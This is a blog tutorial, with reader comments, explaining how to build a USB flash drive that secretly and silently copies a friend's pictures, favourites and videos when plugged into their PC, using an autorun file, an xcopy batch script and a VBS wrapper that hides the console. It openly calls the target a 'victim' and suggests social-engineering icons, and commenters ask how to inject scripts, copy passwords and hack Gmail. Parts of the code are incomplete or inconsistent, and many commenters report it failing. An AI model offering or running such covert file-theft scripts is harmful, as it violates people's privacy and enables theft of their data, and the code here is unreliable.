How to automatically copy files from a computer to a pendrive

Posted: January 23, 2017 in Notepad Tricks, Programming, Tech hacks, Windows Tricks

hello guys, have u ever want something from your friend pc, that he is not giving you like games, movies I come with cool tricks just plug your USB Flash drive into his PC to automatically copy his files to your pen drive, secretly and silently. Copy the files you brought to his PC to complete the act.

Sneaky, isn’t it? So let us prepare such a sinister USB Flash drive.

Open Notepad (I recommend Notepad++) and copy-paste the following lines.

action=Click OK to Run
Save this as autorun.inf

The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It’s useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.

The “action=” command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.

The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.

Image result for hacking pendrive

Open Notepad again and copy-paste the following lines

@echo off
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
@echo off
Save this as file.bat

This file is configured to copy the contents of the current user’s pictures, favourites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.

The first file path “%USERPROFILE%\pictures” – is the target.
The second file path “%drive%\all\My pics” – is the destination.

Open Notepad once again and copy-paste the following line.

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False
Save this as invisible.vbs

This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

Open Notepad one last time and copy-paste the following line.

wscript.exe \invisible.vbs file.bat
Save this as launch.bat

This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.

Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also, create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.

This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your victim. It works flawlessly.

Posted by Shubham ;)

  1. kumar Jay says:

    Hey buddy how to do the opposite. I mean secretly injecting /(pasting) a desired file from usb to a specific destination in any pc.

    eg: If i want to inject a . vbs script secretly to someone pc in a specific destination .


  2. Sahil says:

    How to hack any server


  3. blake says:

    Thank you,are there somethings in the text enterred in notepad must be changed in the .inf, .bat, .vbs files if the victim’s computer language is french?


  4. Anonymous says:

    Not working


  5. aaron says:

    for the first step do I copy [autorun] as well?


  6. smit patel says: how can i copy a file in a windows registry?
    i mean that should run all the time when pc is started.


  7. Kcandude says: to delete the viruses that i make


  8. Ashish ranjan says: coppy all 4 files in the root of flash drive. then what to do after that. Please tell me


  9. ChrisJRY says:

    Hey, the process runs fine but it’s not copying any of the pictures? Videos copy just fine, but “there’s nothing in the “camera roll” or “saved pictures” files. Any idea?


  10. Sigurd021 says:

    It won´t work. I put the usb drive in my pc to test the tool, but I don´t get any files into my usb drive.


  11. tony says: says that it can open the invisible file


  12. ansh says: running the script it shows invalid character error


    • Anonymous says:

      just check all the quotation marks in your code cause if you simply copy/paste them some of them are considered invalid characters. also check if the target names are written exactly the same as in the system files of your target pc


  13. Ahmad Ali says: your trick isn’t working. Plz help me


  14. XtHoRx YT says:

    my doesn’t work


  15. Me2 says: had problem scripts on every stage works properly by autorun do not run launch.bat


  16. hwbhssssjm says: this message
    ik heb alles instructies gevolgd
    het werkt niet het komt niet op de map all
    plz help me


  17. Vlad says:“% USERPROFILE% \ pictures “% Drive% \ all \ My pics” or “C:\…” “F:\…”


  18. Animesh Sinha says:

    How to put files in root of pendrive or where I’ll be finding that


  19. rasmus says:

    do it work on a computer there is danish ?


  20. Aaron says:

    I do have a question for the first step do we close and save the 1st lines or do we continue to add on the second. I don’t have a flash drive plugged in righ now I’m just copying and pasting on to the notepad++


  21. Aayush says:

    how do you safely test these viruses and also how to revert the actions if something happens while using them? please explain


  22. Anonymous says:

    jst peep in to your frnd comp which name is folder of and change the name in the code it will work u all guys


  23. Rohit says: buddy how to do things back if hacked friend’s keyboard which is not responding now


  24. anon051 says:

    Works. Nice script. Its a shame the comments are are so lame. Its funny that some people dont “get it.”


  25. Anonymous says:

    Umm hello i would like to know how it works becus i did all of the thing you needid to do i plug the USB Flash drive and nothing happens could you please help me with mi problem


  26. […] How to copy (steal) files from a computer to a pendrive […]


  27. Gabriel says: this work on a computer the flash drive is not installed on? I don’t have the administrator password, but I need it to install the flash drive, I just want to get my stuff of this computer


  28. TDA 12 says:

    Can i copy passwords that he wrote on the pc?


  29. Raktim says:

    What is root of flash drive


  30. Mohammad says:

    Hi Bro Can You Explain With A Video On This Im Little Confused Please Can You Show In Practical Video On This Please


  31. Hydraxx says:

    Hey, the only problem I’m having is the fact that it doesn’t autorun. Does anyone know how to fix this?


  32. Brandon says: it says that the invisible file doesnt work plz help


  33. Brandon says:

    Help i got code 800A0408 help


  34. trojn3dosz says:

    do u have any youtube chanel


  35. Moazzam Ali says:

    I did not understand it i mean a usb drive works itself mean when you put the flash to computer and start copying

    Liked by 1 person

  36. kimakibuyu says:

    hello guys do u know how to locate a laptop by its serial number

    Liked by 1 person

  37. anoymous says:

    hi i have to know how to hack gmail please reply me in


  38. anoymous says:

    hi please tell me how to hack gmail


  39. Jungle says:

    Nothing happens. I think it’s missing some codes or informations for the “autorun” and “invisible” work.


  40. […] How to copy (steal) files from a computer to a pendrive […]


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.